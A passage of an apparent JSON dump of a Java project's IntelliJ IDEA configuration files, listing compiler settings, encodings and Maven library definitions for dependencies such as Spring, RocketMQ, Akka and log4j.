org.zeromq:zeromq-scala-binding_2.10:0.0.7\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: net.java.dev.jna:jna:3.0.9\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.github.jnr:jnr-constants:0.8.2\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.quartz-scheduler:quartz:2.2.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: c3p0:c3p0:0.9.1.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.slf4j:slf4j-api:1.6.6\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.mongodb:mongo-java-driver:2.11.3\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.alibaba:fastjson:1.1.31\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.zeromq:jeromq:0.3.4\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: javax.mail:mail:1.5.0-b01\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: javax.activation:activation:1.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.curator:curator-framework:2.7.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.curator:curator-client:2.7.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.google.guava:guava:16.0.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.springframework:spring-context:3.2.4.RELEASE\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.springframework:spring-aop:3.2.4.RELEASE\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: aopalliance:aopalliance:1.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.springframework:spring-beans:3.2.4.RELEASE\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.springframework:spring-core:3.2.4.RELEASE\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: commons-logging:commons-logging:1.1.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.springframework:spring-expression:3.2.4.RELEASE\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.springframework:spring-webmvc:3.2.4.RELEASE\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.springframework:spring-web:3.2.4.RELEASE\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.xerial.snappy:snappy-java:1.1.1.6\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.zookeeper:zookeeper:3.4.5\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.slf4j:slf4j-log4j12:1.6.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: log4j:log4j:1.2.15\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: javax.jms:jms:1.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.sun.jdmk:jmxtools:1.2.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: com.sun.jmx:jmxri:1.2.1\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: jline:jline:0.9.94\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.apache.commons:com.springsource.org.apache.commons.codec:1.6.0\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: junit:junit:4.11\" />\r\n          <element id=\"library\" level=\"project\" name=\"Maven: org.hamcrest:hamcrest-core:1.3\" />\r\n        </element>\r\n      </element>\r\n      <element id=\"directory\" name=\"META-INF\">\r\n        <element id=\"file-copy\" path=\"D:\\mygit\\test-clover\\target/MANIFEST.MF\" />\r\n      </element>\r\n      <element id=\"javaee-facet-resources\" facet=\"test-clover/web/Web\" />\r\n    </root>\r\n  </artifact>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/compiler.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"CompilerConfiguration\">\n    <option name=\"DEFAULT_COMPILER\" value=\"Javac\" />\n    <resourceExtensions />\n    <wildcardResourcePatterns>\n      <entry name=\"!?*.java\" />\n      <entry name=\"!?*.form\" />\n      <entry name=\"!?*.class\" />\n      <entry name=\"!?*.groovy\" />\n      <entry name=\"!?*.scala\" />\n      <entry name=\"!?*.flex\" />\n      <entry name=\"!?*.kt\" />\n      <entry name=\"!?*.clj\" />\n    </wildcardResourcePatterns>\n    <annotationProcessing>\n      <profile default=\"true\" name=\"Default\" enabled=\"false\">\n        <processorPath useClasspath=\"true\" />\n      </profile>\n      <profile default=\"false\" name=\"Maven default annotation processors profile\" enabled=\"true\">\n        <sourceOutputDir name=\"target/generated-sources/annotations\" />\n        <sourceTestOutputDir name=\"target/generated-test-sources/test-annotations\" />\n        <outputRelativeToContentRoot value=\"true\" />\n        <processorPath useClasspath=\"true\" />\n        <module name=\"test-clover\" />\n      </profile>\n    </annotationProcessing>\n    <bytecodeTargetLevel>\n      <module name=\"test-clover\" target=\"1.6\" />\n    </bytecodeTargetLevel>\n  </component>\n</project>"
  },
  {
    "path": "test-clover/.idea/copyright/profiles_settings.xml",
    "content": "<component name=\"CopyrightManager\">\r\n  <settings default=\"\" />\r\n</component>"
  },
  {
    "path": "test-clover/.idea/encodings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"Encoding\" useUTFGuessing=\"true\" native2AsciiForPropertiesFiles=\"false\">\n    <file url=\"file://$PROJECT_DIR$\" charset=\"UTF-8\" />\n  </component>\n</project>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: aopalliance:aopalliance:1.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/aopalliance/aopalliance/1.0/aopalliance-1.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/aopalliance/aopalliance/1.0/aopalliance-1.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/aopalliance/aopalliance/1.0/aopalliance-1.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__c3p0_c3p0_0_9_1_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: c3p0:c3p0:0.9.1.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/c3p0/c3p0/0.9.1.1/c3p0-0.9.1.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/c3p0/c3p0/0.9.1.1/c3p0-0.9.1.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/c3p0/c3p0/0.9.1.1/c3p0-0.9.1.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_101tec_zkclient_0_3.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.101tec:zkclient:0.3\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/101tec/zkclient/0.3/zkclient-0.3.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/101tec/zkclient/0.3/zkclient-0.3-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/101tec/zkclient/0.3/zkclient-0.3-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_alibaba_fastjson_1_1_31.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.alibaba:fastjson:1.1.31\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/fastjson/1.1.31/fastjson-1.1.31.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/fastjson/1.1.31/fastjson-1.1.31-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/fastjson/1.1.31/fastjson-1.1.31-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_alibaba_rocketmq_rocketmq_client_3_1_8.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.alibaba.rocketmq:rocketmq-client:3.1.8\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-client/3.1.8/rocketmq-client-3.1.8.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-client/3.1.8/rocketmq-client-3.1.8-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-client/3.1.8/rocketmq-client-3.1.8-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_alibaba_rocketmq_rocketmq_common_3_1_8.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.alibaba.rocketmq:rocketmq-common:3.1.8\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-common/3.1.8/rocketmq-common-3.1.8.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-common/3.1.8/rocketmq-common-3.1.8-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-common/3.1.8/rocketmq-common-3.1.8-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_alibaba_rocketmq_rocketmq_remoting_3_1_8.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.alibaba.rocketmq:rocketmq-remoting:3.1.8\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-remoting/3.1.8/rocketmq-remoting-3.1.8.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-remoting/3.1.8/rocketmq-remoting-3.1.8-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/alibaba/rocketmq/rocketmq-remoting/3.1.8/rocketmq-remoting-3.1.8-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_github_jnr_jnr_constants_0_8_2.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.github.jnr:jnr-constants:0.8.2\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/github/jnr/jnr-constants/0.8.2/jnr-constants-0.8.2.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/github/jnr/jnr-constants/0.8.2/jnr-constants-0.8.2-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/github/jnr/jnr-constants/0.8.2/jnr-constants-0.8.2-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_gome_clover_client_dev_1_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.gome:clover-client:dev-1.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/gome/clover-client/dev-1.0/clover-client-dev-1.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/gome/clover-client/dev-1.0/clover-client-dev-1.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/gome/clover-client/dev-1.0/clover-client-dev-1.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_gome_clover_core_dev_1_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.gome:clover-core:dev-1.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/gome/clover-core/dev-1.0/clover-core-dev-1.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/gome/clover-core/dev-1.0/clover-core-dev-1.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/gome/clover-core/dev-1.0/clover-core-dev-1.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_google_guava_guava_16_0_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.google.guava:guava:16.0.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/google/guava/guava/16.0.1/guava-16.0.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/google/guava/guava/16.0.1/guava-16.0.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/google/guava/guava/16.0.1/guava-16.0.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_google_protobuf_protobuf_java_2_4_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.google.protobuf:protobuf-java:2.4.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/google/protobuf/protobuf-java/2.4.1/protobuf-java-2.4.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/google/protobuf/protobuf-java/2.4.1/protobuf-java-2.4.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/google/protobuf/protobuf-java/2.4.1/protobuf-java-2.4.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_sun_jdmk_jmxtools_1_2_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.sun.jdmk:jmxtools:1.2.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/jdmk/jmxtools/1.2.1/jmxtools-1.2.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/jdmk/jmxtools/1.2.1/jmxtools-1.2.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/jdmk/jmxtools/1.2.1/jmxtools-1.2.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_sun_jmx_jmxri_1_2_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.sun.jmx:jmxri:1.2.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/jmx/jmxri/1.2.1/jmxri-1.2.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/jmx/jmxri/1.2.1/jmxri-1.2.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/jmx/jmxri/1.2.1/jmxri-1.2.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_sun_tools_1_5_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.sun:tools:1.5.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/tools/1.5.0/tools-1.5.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/tools/1.5.0/tools-1.5.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/sun/tools/1.5.0/tools-1.5.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_typesafe_akka_akka_actor_2_0_2.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.typesafe.akka:akka-actor:2.0.2\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-actor/2.0.2/akka-actor-2.0.2.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-actor/2.0.2/akka-actor-2.0.2-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-actor/2.0.2/akka-actor-2.0.2-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_typesafe_akka_akka_actor_2_10_2_1_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.typesafe.akka:akka-actor_2.10:2.1.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-actor_2.10/2.1.0/akka-actor_2.10-2.1.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-actor_2.10/2.1.0/akka-actor_2.10-2.1.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-actor_2.10/2.1.0/akka-actor_2.10-2.1.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_typesafe_akka_akka_zeromq_2_10_2_1_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.typesafe.akka:akka-zeromq_2.10:2.1.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-zeromq_2.10/2.1.0/akka-zeromq_2.10-2.1.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-zeromq_2.10/2.1.0/akka-zeromq_2.10-2.1.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/akka/akka-zeromq_2.10/2.1.0/akka-zeromq_2.10-2.1.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_typesafe_config_1_0_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.typesafe:config:1.0.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/config/1.0.0/config-1.0.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/config/1.0.0/config-1.0.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/typesafe/config/1.0.0/config-1.0.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__com_yammer_metrics_metrics_core_2_2_0.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: com.yammer.metrics:metrics-core:2.2.0\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/yammer/metrics/metrics-core/2.2.0/metrics-core-2.2.0.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/yammer/metrics/metrics-core/2.2.0/metrics-core-2.2.0-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/com/yammer/metrics/metrics-core/2.2.0/metrics-core-2.2.0-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__commons_logging_commons_logging_1_1_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: commons-logging:commons-logging:1.1.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/commons-logging/commons-logging/1.1.1/commons-logging-1.1.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__io_netty_netty_all_4_0_21_Final.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: io.netty:netty-all:4.0.21.Final\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/io/netty/netty-all/4.0.21.Final/netty-all-4.0.21.Final.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/io/netty/netty-all/4.0.21.Final/netty-all-4.0.21.Final-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/io/netty/netty-all/4.0.21.Final/netty-all-4.0.21.Final-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__javax_activation_activation_1_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: javax.activation:activation:1.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/activation/activation/1.1/activation-1.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/activation/activation/1.1/activation-1.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/activation/activation/1.1/activation-1.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__javax_jms_jms_1_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: javax.jms:jms:1.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/jms/jms/1.1/jms-1.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/jms/jms/1.1/jms-1.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/jms/jms/1.1/jms-1.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__javax_mail_mail_1_5_0_b01.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: javax.mail:mail:1.5.0-b01\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/mail/mail/1.5.0-b01/mail-1.5.0-b01.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/mail/mail/1.5.0-b01/mail-1.5.0-b01-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/mail/mail/1.5.0-b01/mail-1.5.0-b01-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__javax_servlet_servlet_api_2_4.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: javax.servlet:servlet-api:2.4\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/servlet/servlet-api/2.4/servlet-api-2.4.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/servlet/servlet-api/2.4/servlet-api-2.4-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/javax/servlet/servlet-api/2.4/servlet-api-2.4-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__jline_jline_0_9_94.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: jline:jline:0.9.94\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/jline/jline/0.9.94/jline-0.9.94.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/jline/jline/0.9.94/jline-0.9.94-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/jline/jline/0.9.94/jline-0.9.94-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__junit_junit_3_8_1.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: junit:junit:3.8.1\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/junit/junit/3.8.1/junit-3.8.1.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/junit/junit/3.8.1/junit-3.8.1-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/junit/junit/3.8.1/junit-3.8.1-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__junit_junit_4_11.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: junit:junit:4.11\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/junit/junit/4.11/junit-4.11.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/junit/junit/4.11/junit-4.11-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/junit/junit/4.11/junit-4.11-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__log4j_log4j_1_2_15.xml",
    "content": "<component name=\"libraryTable\">\r\n  <library name=\"Maven: log4j:log4j:1.2.15\">\r\n    <CLASSES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/log4j/log4j/1.2.15/log4j-1.2.15.jar!/\" />\r\n    </CLASSES>\r\n    <JAVADOC>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/log4j/log4j/1.2.15/log4j-1.2.15-javadoc.jar!/\" />\r\n    </JAVADOC>\r\n    <SOURCES>\r\n      <root url=\"jar://$MAVEN_REPOSITORY$/log4j/log4j/1.2.15/log4j-1.2.15-sources.jar!/\" />\r\n    </SOURCES>\r\n  </library>\r\n</component>"
  },
  {
    "path": "test-clover/.idea/libraries/Maven__net_java_dev_jna_jna_3_0_9.xml",
